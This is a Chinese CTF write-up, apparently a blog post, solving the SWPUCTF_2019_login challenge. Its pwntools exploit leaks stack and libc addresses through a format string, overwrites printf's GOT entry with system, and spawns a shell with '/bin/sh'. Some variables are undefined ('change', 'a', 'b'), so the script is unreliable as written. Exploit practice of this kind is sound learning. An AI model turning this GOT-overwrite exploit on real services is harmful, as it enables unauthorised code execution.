SWPUCTF_2019_login

通过这个题学到了用gdb.debug("./程序",“此处可下断点”)

此题拿到是没有头绪的,看了师傅们的wp才发现,原来格式化字符串也能出的挺难。
在这里插入图片描述
偏移为9的地方和got表中的printf很接近,我们就利用格式化字符串将此处的值换为printf_got。
同时将偏移为8的地方换成printf_got+2,这是为什么呢,因为我们之后需要将printf_got替换为system,而本题不能直接用%n替换,要用%hhn和%hn。

分步分析:
第一步:不用解释了吧

from pwn import *

io = process("SWPUCTF_2019_login")
io = gdb.debug("./SWPUCTF_2019_login","b *0x804856d")
#io=remote('node4.buuoj.cn',29090)
io.sendline('xieyichen')
elf = ELF("./SWPUCTF_2019_login")
libc = elf.libc

第二步:得到栈的地址,且ptr是后0x**这样的

io.recvuntil('password:')
io.sendline('%6$p') #6->10  
io.recvuntil('wrong password: ')
ptr=(int(io.recvline()[2:],16)-4)&0xff
print(hex(ptr))

第三步:偏移为9处改为printf_got.

pl1='%'+str(change)+'c'+'%6$hhn' #10->9
io.recvuntil('Try again!')
io.sendline(pl1)

pl2='%'+str(0x14)+'c'+'%10$hhn'   #9->printf_got
io.recvuntil('Try again!')
io.sendline(pl2)

第四步:将偏移为8处改为printf_got+2,方便以后改printf_got为system

pl1='%'+str(change-4)+'c'+'%6$hhn' #10->8
io.recvuntil('Try again!')
io.sendline(pl1)
pl2='%'+str(0xb016)+'c'+'%10$hn'   #8->print_got+2
io.recvuntil('Try again!')
io.sendline(pl2)

第五步:泄露地址

io.recvuntil('Try again!')
io.sendline('%9$s')
io.recvuntil('wrong password: ')
print_add=u32(io.recv(4))
print(hex(print_add))

第六步:改printf_got为system,get shell.

libc_base=print_add-0x050b60
sys=libc_base+0x03cd10
print(hex(sys))
di=sys&0xffff
print(hex(a))
gao=sys>>16
print(hex(b))
#将printf 覆盖为 system,getshell
pl3='%'+str(di)+'c'+'%9$hn'+'%'+str(gao-di)+'c'+'%8$hn'
io.recvuntil('Try again!')
io.sendline(pl3)
io.sendline('/bin/sh')
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值